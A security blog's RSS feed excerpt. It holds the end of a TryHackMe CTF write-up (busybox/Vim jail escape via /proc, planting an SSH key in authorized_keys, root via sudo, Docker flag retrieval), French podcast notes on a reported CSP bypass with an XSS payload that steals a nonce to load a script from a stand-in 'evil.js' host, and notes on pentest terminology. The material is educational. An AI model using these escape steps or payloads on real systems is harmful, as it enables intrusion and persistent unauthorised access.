style="color:#ABB2BF">); </span><span style="color:#56B6C2">print</span><span style="color:#ABB2BF">(</span><span style="color:#56B6C2">open</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/dev/shm/noraj.log"</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">read</span><span style="color:#ABB2BF">())</span></span></code></pre></div></div></figure><p>But for some reason whatever is use (pipe, redirection, or script) <code>os.system</code> seems to not be able to write to a file (only on this machine). So then <code>open returns an error</code>.</p><h2 id="System-exploration-shell-escape">System exploration &amp; shell escape<a class="header-anchor" href="#System-exploration-shell-escape">#</a></h2><p>With <code>:Ex</code> we have a file explorer we can use to browse and read files.We notice <code>/bin</code> points to <code>/usr/bin</code> that is empty so we don't have shell. At some point we may be forced to upload one (I can write text files with nano or vim, binary files with ftp or python, and we can vim functions like <code>:call setfperm(&quot;/tmp/noraj.sh&quot;,&quot;rwxrwx---&quot;)</code> to make binaries executable).FTP files are in <code>/tmp/ftp</code>.</p><p>Uploading a static shell alone won't be very useful as no coreutils or mostly any useful binaries outside those in <code>/usr/sbin</code> are available.</p><p>Wait! So my <code>:py3</code> experimentations were not working because <code>/bin</code> and <code>/usr/bin</code> are empty. But it seems tehre is a busybox as there are files: <code>/etc/busybox</code> and <code>/etc/file/busybox</code>. We can also see this via environment variables.</p><figure class="shiki shell"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">:echo</span><span style="color:#E06C75"> $BU</span><span style="color:#7F848E;font-style:italic"> # /etc/file/busybox</span></span><span class="line"><span style="color:#61AFEF">:echo</span><span style="color:#E06C75"> $BUSY</span><span style="color:#7F848E;font-style:italic"> # /etc/busybox</span></span></code></pre></div></div></figure><p>Note: 💡 <code>:echo $</code> let you list all existing environment variables.</p><p>I also saw the current &quot;shell&quot; is <code>/tmp/sh</code> and there is one in <code>/usr/forsty/sh</code> as well but both seems &quot;empty&quot;.</p><p>In <code>/etc/shell</code> we can see <code>/usr/busybox/sh</code>. Also <code>/.docerenv</code> indicates we are in a docker container.</p><p>In <code>/proc/etc/environ</code> we can read the following (some ideas on about how the busybox was setup).</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>MAIL=/var/mail/ubuntu</span></span><span class="line"><span>USER=ubuntu</span></span><span class="line"><span>BOOTSTRAP=/etc/bootstrap.sh</span></span><span class="line"><span>HOSTNAME=busybusybox</span></span><span class="line"><span>FTPD_BANNER=Frosteau very busy note box</span></span><span class="line"><span>SHLVL=1</span></span><span class="line"><span>PROT=/usr/special/protector.sh</span></span><span class="line"><span>HOME=/home/ubuntu</span></span><span class="line"><span></span></span><span class="line"><span>FLAG2=THM{REDACTED}</span></span><span class="line"><span></span></span><span class="line"><span>BUSY=/etc/busybox</span></span><span class="line"><span>LOGNAME=ubuntu</span></span><span class="line"><span>PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin</span></span><span class="line"><span>SHELL=/tmp/sh</span></span><span class="line"><span>PASSWD=/etc/passwd</span></span><span class="line"><span>PWD=/</span></span><span class="line"><span>BU=/etc/file/busybox</span></span></code></pre></div></div></figure><p>Note <code>:version</code> in Vim show the compilation options and all, so it can speedup the recon rather than trying to exectue any command to see if it's available or not.</p><h2 id="Being-very-smart-shell-escape-WITHOUT-UPLOADING">Being very smart, shell escape <strong>WITHOUT UPLOADING</strong><a class="header-anchor" href="#Being-very-smart-shell-escape-WITHOUT-UPLOADING">#</a></h2><p>At this point I know I could upload a reverse shell binary or a busybox or something but I'm excited about <strong>rooting the box without uploading anything</strong>, I think it should be possible.</p><p>Just to verify that theory (and to prove I'm smart), let's try to do this:</p><ol><li>Escape busybox<ol><li><code>which bash</code> -&gt; <code>/usr/bin/bash</code> on a normal machine</li><li>We can read <code>/proc</code> and <code>/proc/&lt;id&gt;/root</code> is a symbolic link to the root of process</li><li>Let's create a loop over positive interger and trying to access <code>/proc/&lt;id&gt;/root/usr/bin/bash</code></li><li>Once we found the true bash outside teh busybox we define it as shell in vim with <code>:set shell=path/to/bash</code></li><li>Escape by executing <code>:!/proc/&lt;id&gt;/root/usr/bin/whatever</code></li></ol></li><li>Mess with the f**king system!</li></ol><figure class="shiki python"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> os</span></span><span class="line"><span style="color:#C678DD">for</span><span style="color:#ABB2BF"> i </span><span style="color:#C678DD">in</span><span style="color:#56B6C2"> range</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">,</span><span style="color:#D19A66">9999</span><span style="color:#ABB2BF">):</span></span><span class="line"><span style="color:#C678DD">  if</span><span style="color:#ABB2BF"> os.path.</span><span style="color:#61AFEF">exists</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">f</span><span style="color:#98C379">"/proc/</span><span style="color:#D19A66">{</span><span style="color:#ABB2BF">i</span><span style="color:#D19A66">}</span><span style="color:#98C379">/root/usr/bin/bash"</span><span style="color:#ABB2BF">):</span></span><span class="line"><span style="color:#56B6C2">      print</span><span style="color:#ABB2BF">(i)</span></span></code></pre></div></div></figure><p>Note: in our case <code>os.path.exists('file')</code> is better than <code>pathlib.Path('file').exists()</code> because the later triggers a <code>PermissionError</code> while the first just return <code>False</code> in that case.</p><p>Now let's inline that.</p><figure class="shiki python"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> os; [</span><span style="color:#56B6C2">print</span><span style="color:#ABB2BF">(i) </span><span style="color:#C678DD">for</span><span style="color:#ABB2BF"> i </span><span style="color:#C678DD">in</span><span style="color:#56B6C2"> range</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">9999</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> os.path.</span><span style="color:#61AFEF">exists</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">f</span><span style="color:#98C379">"/proc/</span><span style="color:#D19A66">{</span><span style="color:#ABB2BF">i</span><span style="color:#D19A66">}</span><span style="color:#98C379">/root/usr/bin/bash"</span><span style="color:#ABB2BF">)]</span></span></code></pre></div></div></figure><p>Vim it!</p><figure class="shiki python"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">:py3 </span><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> os; [</span><span style="color:#56B6C2">print</span><span style="color:#ABB2BF">(i) </span><span style="color:#C678DD">for</span><span style="color:#ABB2BF"> i </span><span style="color:#C678DD">in</span><span style="color:#56B6C2"> range</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">9999</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> os.path.</span><span style="color:#61AFEF">exists</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">f</span><span style="color:#98C379">"/proc/</span><span style="color:#D19A66">{</span><span style="color:#ABB2BF">i</span><span style="color:#D19A66">}</span><span style="color:#98C379">/root/usr/bin/bash"</span><span style="color:#ABB2BF">)]</span></span></code></pre></div></div></figure><p>It returns lots of IDs but teh first one is <strong>1018</strong>.</p><p>Shell it!</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>:set shell=/proc/1018/root/usr/bin/bash</span></span></code></pre></div></div></figure><p><code>:!id</code> will return <code>/proc/1018/root/usr/bin/bash: id: command not found</code> because of course we still have no coreutil binaries in our PATH.</p><p>But remember? Our mission is to be smart. So what about:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>:!PATH=/proc/1018/root/usr/bin:$PATH id</span></span></code></pre></div></div></figure><p>Of course it works:</p><p><code>uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)</code></p><p>Let's get serious, we have been kidding for too long:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>:shell</span></span><span class="line"><span>bash: groups: command not found</span></span><span class="line"><span>ubuntu@busybusybox:/$ export PATH=/proc/1018/root/usr/bin:$PATH</span></span><span class="line"><span>ubuntu@busybusybox:/$ id</span></span><span class="line"><span>uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)</span></span></code></pre></div></div></figure><h2 id="It-s-time-for-an-upgrade">It's time for an upgrade<a class="header-anchor" href="#It-s-time-for-an-upgrade">#</a></h2><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>ubuntu@busybusybox:/$ sudo</span></span><span class="line"><span>sudo: error while loading shared libraries: libsudo_util.so.0: cannot open shared object file: No such file or directory</span></span></code></pre></div></div></figure><p>We don't want to patch that forever, let's get a really access with a SSH connection outside the busybox.</p><p>On my machine let's create a SSH key:</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ssh-keygen</span><span style="color:#D19A66"> -t</span><span style="color:#98C379"> ed25519</span><span style="color:#D19A66"> -Z</span><span style="color:#98C379"> chacha20-poly1305@openssh.com</span><span style="color:#D19A66"> -f</span><span style="color:#98C379"> noraj_de_ma_clé</span></span></code></pre></div></div></figure><p>Write it in the user authorized keys.</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">printf</span><span style="color:#98C379"> %s</span><span style="color:#98C379"> 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEXiHbH+uti30TKOD+Y8BmVXfzzCFpt6BBu+chMfJCRI noraj@penarch'</span><span style="color:#ABB2BF"> > </span><span style="color:#98C379">/proc/1018/root/home/ubuntu/.ssh/authorized_keys</span></span></code></pre></div></div></figure><p>Oh yeah! I love this connection better:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ssh ubuntu@10.10.40.126 -i noraj_de_ma_clé</span></span><span class="line"><span>ubuntu@tryhackme:~$ sudo -l</span></span><span class="line"><span>Matching Defaults entries for ubuntu on tryhackme:</span></span><span class="line"><span>    env_reset, mail_badpass,</span></span><span class="line"><span>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</span></span><span class="line"><span></span></span><span class="line"><span>User ubuntu may run the following commands on tryhackme:</span></span><span class="line"><span>    (ALL : ALL) ALL</span></span><span class="line"><span>    (ALL) NOPASSWD: ALL</span></span><span class="line"><span>    (ALL) NOPASSWD: ALL</span></span><span class="line"><span>    (ALL) NOPASSWD: ALL</span></span><span class="line"><span>    (ALL) NOPASSWD: ALL</span></span><span class="line"><span>    (ALL) NOPASSWD: ALL</span></span><span class="line"><span>    (ALL) NOPASSWD: ALL</span></span><span class="line"><span>    (ALL) NOPASSWD: ALL</span></span><span class="line"><span>    (ALL) NOPASSWD: ALL</span></span><span class="line"><span>    (ALL) NOPASSWD: ALL</span></span></code></pre></div></div></figure><p>Note: By jumping to the host, I guess we skipped the step where we were supposed to escape from the docker, lol.</p><h2 id="Flag-them-all">Flag them all<a class="header-anchor" href="#Flag-them-all">#</a></h2><p>We must have taken some shortcuts so we must have missed flags on the road.</p><p>But now that we are root on the host, let's make up for lost time.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>ubuntu@tryhackme:~$ sudo ls -lhA /root/</span></span><span class="line"><span>total 40K</span></span><span class="line"><span>lrwxrwxrwx 1 root root    9 Feb 27  2022 .bash_history -> /dev/null</span></span><span class="line"><span>-rw-r--r-- 1 root root 3.1K Dec  5  2019 .bashrc</span></span><span class="line"><span>drwxr-xr-x 3 root root 4.0K Feb 27  2022 .cache</span></span><span class="line"><span>drwxr-xr-x 3 root root 4.0K Feb 27  2022 .local</span></span><span class="line"><span>-rw-r--r-- 1 root root  161 Dec  5  2019 .profile</span></span><span class="line"><span>-rw-r--r-- 1 root root   66 Feb 27  2022 .selected_editor</span></span><span class="line"><span>drwx------ 2 root root 4.0K Feb 27  2022 .ssh</span></span><span class="line"><span>-rw------- 1 root root    0 Dec  5 12:02 .viminfo</span></span><span class="line"><span>drwxr-xr-x 2 root root 4.0K Feb 27  2022 .vnc</span></span><span class="line"><span>-rw-r--r-- 1 root root   51 Nov  5 19:09 flag-4-of-4.txt</span></span><span class="line"><span>drwxr-xr-x 4 root root 4.0K Feb 27  2022 snap</span></span><span class="line"><span>-rw-r--r-- 1 root root   67 Dec  5 12:02 yetikey3.txt</span></span></code></pre></div></div></figure><p>As we went to quickly and skipped the docker step, we missed the third flag, it must be in the docker overlay.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>ubuntu@tryhackme:~$ sudo find /var/lib/docker/overlay2/ -type f -name flag-3-of-4.txt</span></span><span class="line"><span>/var/lib/docker/overlay2/143eb13a6c8f69ab659eb0dd05be974c2d62272b26fc7b8e0a558c11c9d00ddd/diff/root/flag-3-of-4.txt</span></span><span class="line"><span>/var/lib/docker/overlay2/2747ca7424ec987f73fbd8d00ba713a08767a0aa3c7e7b011c0b556f68f74257/merged/root/flag-3-of-4.txt</span></span><span class="line"><span>/var/lib/docker/overlay2/64c447637ac4ee76d19a42d9fd1e2a02a308d7e2aeedb99467b16953e45294ce/diff/root/flag-3-of-4.txt</span></span><span class="line"><span>/var/lib/docker/overlay2/a2d2cf1af707deb1ab7d5e3b9001767bddab6d65d6a05a989011fe126150679b/diff/root/flag-3-of-4.txt</span></span><span class="line"><span>/var/lib/docker/overlay2/392ec18fe56eef27553c9f245114a5a1c2cdc8de4dd080388aca82cd11efe36d/diff/root/flag-3-of-4.txt</span></span><span class="line"><span>/var/lib/docker/overlay2/fe952ba84abeaf21384b247a897983ec31c2c0380e205569e009ff412a248c9f/diff/root/flag-3-of-4.txt</span></span></code></pre></div></div></figure><p>Else we can do that another way:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>ubuntu@tryhackme:~$ sudo docker ps</span></span><span class="line"><span>CONTAINER ID   IMAGE           COMMAND                  CREATED       STATUS       PORTS                                                                                                                                                                                                                                                                                              NAMES</span></span><span class="line"><span>c6284e5811a7   busy_busy_box   "/etc/bootstrap.sh -d"   4 hours ago   Up 4 hours   0.0.0.0:20-21->20-21/tcp, :::20-21->20-21/tcp, 0.0.0.0:8065->8065/tcp, :::8065->8065/tcp, 0.0.0.0:8075->8075/tcp, :::8075->8075/tcp, 0.0.0.0:8085->8085/tcp, :::8085->8085/tcp, 0.0.0.0:8095->8095/tcp, :::8095->8095/tcp, 0.0.0.0:65500-65515->65500-65515/tcp, :::65500-65515->65500-65515/tcp   containers_busy_1</span></span><span class="line"><span></span></span><span class="line"><span>ubuntu@tryhackme:~$ sudo docker cp containers_busy_1:/root/flag-3-of-4.txt /tmp/flag3.txt</span></span><span class="line"><span>Successfully copied 2.05kB to /tmp/flag3.txt</span></span></code></pre></div></div></figure><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Service Hacktion - Notes attachées au balado S01E09 - Contournement CSP sur PortSwigger.net en utilisant un script Google</title>
      <link>https://blog.raw.pm/fr/Service-Hacktion-S01E09-contournement-CSP-Portswigger-Google-script/</link>
      <description>
        <![CDATA[<table>
<thead>
<tr>
<th>Saison</th>
<th>Épisode</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>9</td>
</tr>
</tbody>
</table>
<iframe titl]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/tags/podcast/">podcast</category>
      <category domain="https://blog.raw.pm/tags/balado/">balado</category>
      <category domain="https://blog.raw.pm/tags/CSP/">CSP</category>
      <category domain="https://blog.raw.pm/tags/XSS/">XSS</category>
      <pubDate>Mon, 04 Mar 2024 00:01:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<table><thead><tr><th>Saison</th><th>Épisode</th></tr></thead><tbody><tr><td>1</td><td>9</td></tr></tbody></table><iframe title="Spotify Embed: Service Hacktion" style="border-radius: 12px" width="624" height="351" frameborder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy" src="https://open.spotify.com/embed/show/2cvqgxJWv3mrwIWvR39Kyk/video?utm_source=oembed"></iframe><ul><li><a href="https://open.spotify.com/episode/0BP2L7d0mePNJYTaKTehkH">Spotify</a></li><li><a href="https://www.deezer.com/fr/episode/612172962">Deezer</a></li><li><a href="https://youtu.be/7EREQ3Dg9YE">Youtube</a></li><li><a href="https://music.youtube.com/watch?v=7EREQ3Dg9YE">Youtube Music</a></li><li><a href="https://music.amazon.fr/podcasts/985ea8b9-30bf-4145-a08a-1ecdc021f695/episodes/5325408e-e2e9-4e8e-b8c7-e9dd169798d1/service-hacktion-s01e09---contournement-csp-sur-portswigger-net-en-utilisant-un-script-google">Amazon Music</a></li><li><a href="https://podcasts.google.com/feed/aHR0cHM6Ly9hbmNob3IuZm0vcy9lZjcwNWIzMC9wb2RjYXN0L3Jzcw/episode/ZDUyNzI5OTYtMTc4OC00OTUzLWJkN2ItMTQ1ODZiM2UxYzFj">Google Podcast</a></li><li><a href="https://podcasts.apple.com/fr/podcast/s01e09-contournement-csp-sur-portswigger-net-en-utilisant/id1725734663?i=1000648404551">Apple Podcast</a></li><li><a href="https://podcastindex.org/podcast/6727486?episode=19936523697">Podcast Index</a></li><li><a href="https://podcloud.fr/podcast/service-hacktion/episode/s01e09-contournement-csp-sur-portswigger-point-net-en-utilisant-un-script-google">podCloud</a></li><li><a href="https://www.podchaser.com/podcasts/service-hacktion-5564666/episodes/s01e09-contournement-csp-sur-p-203001327">Podchaser</a></li><li><a href="https://podtail.com/podcast/service-hacktion/s01e09-contournement-csp-sur-portswigger-net-en-ut/">podtail</a></li><li><a href="https://podcasts-francais.fr/podcast/service-hacktion/s01e09-contournement-csp-sur-portswigger-net-en-ut">Podcasts Français</a></li><li><a href="https://www.vodio.fr/vodiotheque/i/rss-959-d5272996-1788-4953-bd7b-14586b3e1c1c/s01e09-contournement-csp-sur-portswigger-net-en-utilisant-un-script-google/">Vodio</a></li><li><a href="https://www.spreaker.com/episode/s01e09-contournement-csp-sur-portswigger-net-en-utilisant-un-script-google--58964809">Spreaker</a></li></ul><h2 id="Notes">Notes<a class="header-anchor" href="#Notes">#</a></h2><p>Article : 🇬🇧 <a href="https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/">Johan Carlsson - CSP bypass on PortSwigger.net using Google script resources</a></p><p>Johan Carlsson, pseudo joaxcar, est un développeur qui participe à des programmes de prime aux bogues (<em>bug bounty</em>).</p><p><a href="https://hackerone.com/reports/2279346">Son rapport de vulnérabilité</a> a été rendu public sur HackerOne.</p><p>Mise en garde :</p><ul><li>Il a rapporté un contournement de CSP seul, ça serait hors périmètre sur la plupart des autres programmes.</li><li>Il est important de bien comprend sa cible et son modèle de menace.</li></ul><p>Johan aime bien le contournement de CSP, car c'est un vaste sujet et qu'il est complexe d'écrire une bonne CSP.</p><p>La directive la plus importante est <code>script-src</code>. Souvent, on adopte soit une approche par liste blanche d'URL, soit on utilise un nombre aléatoire à usage unique (<em>nonce</em>).</p><p>Comment fonctionne un <em>nonce</em> ?</p><ol><li>Sur le serveur web, on génère une chaîne de caractères encodée en base64 ou en hexadecimal à partir de données générées aléatoirement. Les <em>nonces</em> doivent être générés différemment à chaque chargement de la page. (À usage unique, <em>nonce</em> = <em>number once</em>)</li><li>Ajout de l'attribut <code>nonce</code> à la balise <code>&lt;script&gt;</code>. (similaire anti-CSRF)</li><li>Envoyer le <em>nonce</em> dans un en-tête CSP.</li><li>Le <em>nonce</em> est pseudo-masqué dans le DOM :</li></ol><ul><li><code>script.getAttribute(&quot;nonce&quot;);</code> ❌ (vide)</li><li><code>script.nonce;</code> ✅ (seul moyen)</li><li>Par exemple, impossible à exfiltrer depuis un filtre d'attribut CSS</li></ul><p>Particularité de la directive <code>strict-dynamic</code> : ça indique que la confiance explicitement donnée à un script de la page, par le biais d'un <em>nonce</em> ou d'une empreinte, doit être propagée à tous les scripts chargés par celui-ci. Par exemple, pour une CSP <code>script-src 'strict-dynamic' 'nonce-abc' https://listeblanche.example.com/</code>, on ignore <code>self</code> pour <code>&lt;script nonce=&quot;abc&quot;&gt;exemple&lt;/script&gt;</code> ou ignore la liste blanche d'URL pour <code>&lt;script nonce=&quot;abc&quot; src=&quot;https://example.com/script.js&quot;&gt;</code> car il y a le <em>nonce</em>, mais <code>&lt;script src=&quot;https://listeblanche.example.com/ex.js&quot;&gt;</code> est interdit s'il n'y a pas le <em>nonce</em>, ça ignore donc les listes blanches d'URL. <code>strict-dynamic</code> autorise même des scripts sans <em>nonce</em> si chargé depuis un script avec <em>nonce</em>.</p><p>Quand il n'y a pas <code>strict-dynamic</code>, abus avec script Captcha de Google :</p><figure class="shiki html"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">script</span><span style="color:#D19A66"> src</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">'https://www.google.com/recaptcha/about/js/main.min.js'</span><span style="color:#ABB2BF">>&#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">img</span><span style="color:#D19A66"> src</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">x</span><span style="color:#D19A66"> ng-on-error</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">'$event.target.ownerDocument.defaultView.alert(1)'</span><span style="color:#ABB2BF">></span></span></code></pre></div></div></figure><p>Mais si on remplace <code>alert</code> par <code>eval</code>, c'est bloqué parce que <code>unsafe-eval</code> n'est pas autorisé. Ça donne une XSS très limitée. Il va falloir trouver le moyen d'avoir une XSS complète.</p><p>Une fausse idée assez répandue concernant le CSP est que la valeur du <em>nonce</em> est cachée après le chargement du DOM. Ce n'est que partiellement vrai. En regardant le DOM dans les outils de développement après avoir chargé une page avec des scripts décorés avec des <em>nonces</em>, il n'y a pas de valeur de <em>nonce</em> visible sur les balises de script, seulement un attribut de <em>nonce</em> vide. Cela ne signifie toutefois pas que la valeur <em>nonce</em> est supprimée ; elle est simplement cachée des canaux latéraux tels que CSS. La valeur est toujours accessible à partir de JavaScript.</p><p>On peut y accéder en JS avec <code>node.nonce</code>, ex :</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">const</span><span style="color:#E5C07B"> nonce</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> document</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">querySelector</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"[nonce]"</span><span style="color:#ABB2BF">).</span><span style="color:#E06C75">nonce</span><span style="color:#ABB2BF">;</span><span style="color:#98C379">`.</span></span></code></pre></div></div></figure><p>On peut donc créer un nouveau script avec le même <em>nonce</em> :</p><figure class="shiki html"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">script</span><span style="color:#D19A66"> src</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">'https://www.google.com/recaptcha/about/js/main.min.js'</span><span style="color:#ABB2BF">>&#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">img</span><span style="color:#D19A66"> src</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">x</span><span style="color:#D19A66"> ng-on-error</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">'</span></span><span class="line"><span style="color:#98C379">  doc=$event.target.ownerDocument;</span></span><span class="line"><span style="color:#98C379">  a=doc.defaultView.top.document.querySelector("[nonce]");</span></span><span class="line"><span style="color:#98C379">  b=doc.createElement("script");</span></span><span class="line"><span style="color:#98C379">  b.src="//example.com/evil.js";</span></span><span class="line"><span style="color:#98C379">  b.nonce=a.nonce; doc.body.appendChild(b)'</span><span style="color:#ABB2BF">></span></span></code></pre></div></div></figure><p>Des contournements sans chaine complète comme le contournement d'un second facteur d'authentification est généralement accepté, mais pas un contournement de CSP seul. L'auteur a rapporté le contournement de CSP seul, car il n'a pas trouvé de XSS. Cela serait normalement hors-périmètre, mais il a jugé qu'ils accepteraient, car il avait vu qu'ils acceptaient des bogues de contournement de CSP induits par des composants tiers. Attention à ne pas faire pareil aveuglement et finir avec un rapport catégorisé en hors périmètre ou non applicable.</p><ul><li>Liste blanche : contournement avec JSONP, Angular, etc. Utilisation abusive d'une ressource autorisée.</li><li><em>nonce</em> :<ul><li>Si <code>strict-dynamic</code>, contournement identique à la liste blanche</li><li>Si sans <code>strict-dynamic</code>, il faudra en plus récupérer le <em>nonce</em> d'un autre script</li></ul></li></ul><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Service Hacktion - Notes attachées au balado S01E08 - Nomenclature du test d'intrusion</title>
      <link>https://blog.raw.pm/fr/Service-Hacktion-S01E08-nomenclature-test-intrusion/</link>
      <description>
        <![CDATA[<table>
<thead>
<tr>
<th>Saison</th>
<th>Épisode</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>8</td>
</tr>
</tbody>
</table>
<iframe titl]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/tags/pentest/">pentest</category>
      <category domain="https://blog.raw.pm/tags/podcast/">podcast</category>
      <category domain="https://blog.raw.pm/tags/balado/">balado</category>
      <category domain="https://blog.raw.pm/tags/test-d-intrusion/">test d'intrusion</category>
      <pubDate>Sun, 03 Mar 2024 23:59:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<table><thead><tr><th>Saison</th><th>Épisode</th></tr></thead><tbody><tr><td>1</td><td>8</td></tr></tbody></table><iframe title="Spotify Embed: Service Hacktion" style="border-radius: 12px" width="624" height="351" frameborder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy" src="https://open.spotify.com/embed/show/2cvqgxJWv3mrwIWvR39Kyk/video?utm_source=oembed"></iframe><ul><li><a href="https://open.spotify.com/episode/7v0IaP3RKzG1yU8l4fmM2I">Spotify</a></li><li><a href="https://www.deezer.com/fr/episode/612172972">Deezer</a></li><li><a href="https://youtu.be/OD8MdQBcgdI">Youtube</a></li><li><a href="https://music.youtube.com/watch?v=OD8MdQBcgdI">Youtube Music</a></li><li><a href="https://music.amazon.fr/podcasts/985ea8b9-30bf-4145-a08a-1ecdc021f695/episodes/3d5df7ae-104e-4ff0-811b-6d4185972316/service-hacktion-s01e08---nomenclature-du-test-d'intrusion">Amazon Music</a></li><li><a href="https://podcasts.google.com/feed/aHR0cHM6Ly9hbmNob3IuZm0vcy9lZjcwNWIzMC9wb2RjYXN0L3Jzcw/episode/OGE5YmMwZDEtZGQyOS00ODBlLWI1M2MtYTM5MDM5OGQyNTQx">Google Podcast</a></li><li><a href="https://podcasts.apple.com/us/podcast/s01e08-nomenclature-du-test-dintrusion/id1725734663?i=1000647864328">Apple Podcast</a></li><li><a href="https://podcastindex.org/podcast/6727486?episode=19782857238">Podcast Index</a></li><li><a href="https://podcloud.fr/podcast/service-hacktion/episode/s01e08-nomenclature-du-test-dintrusion">podCloud</a></li><li><a href="https://www.podchaser.com/podcasts/service-hacktion-5564666/episodes/s01e08-nomenclature-du-test-di-202475996">Podchaser</a></li><li><a href="https://podtail.com/podcast/service-hacktion/s01e08-nomenclature-du-test-d-intrusion/">podtail</a></li><li><a href="https://podcasts-francais.fr/podcast/service-hacktion/s01e08-nomenclature-du-test-d-intrusion">Podcasts Français</a></li><li><a href="https://www.vodio.fr/vodiotheque/i/rss-959-8a9bc0d1-dd29-480e-b53c-a390398d2541/s01e08-nomenclature-du-test-d-intrusion/">Vodio</a></li><li><a href="https://www.spreaker.com/episode/s01e08-nomenclature-du-test-d-intrusion--58911632">Spreaker</a></li></ul><h2 id="Notes">Notes<a class="header-anchor" href="#Notes">#</a></h2><p>On entend souvent :</p><ul><li>TI interne ➡️ infra</li><li>TI externe ➡️ web</li></ul><p>Amalgame :</p><ul><li>interne / sur site</li><li>externe / à distance</li></ul><p>En anglais : infrastructure penetration test, web application penetration test</p><p>Absurdités :</p><ul><li>TI infra. à distance ➡️ TI interne externe ?</li><li>TI infra sur site ➡️ TI interne interne ?</li><li>TI web sur site ➡️ TI externe interne ?</li><li>TI web à distance ➡️ TI externe externe ?</li></ul><p>Externe ou interne qualifie la nature de l'exposition du réseau, pas l'emplacement des auditeurs vis-à-vis de celui-ci.</p><p>Alors qu'on devrait parler de :</p><ul><li>TI infra. interne</li><li>TI infra. externe</li><li>TI (app.) web</li></ul><p>Si dans 95% des cas le TI web se fait à distance et dans 80% des cas le TI infra. se fait sur site, on peut abréger l'implicite de la manière suivante :</p><ul><li>TI infra</li><li>TI web</li></ul><link rel="stylesheet" href="/css/folder.css" 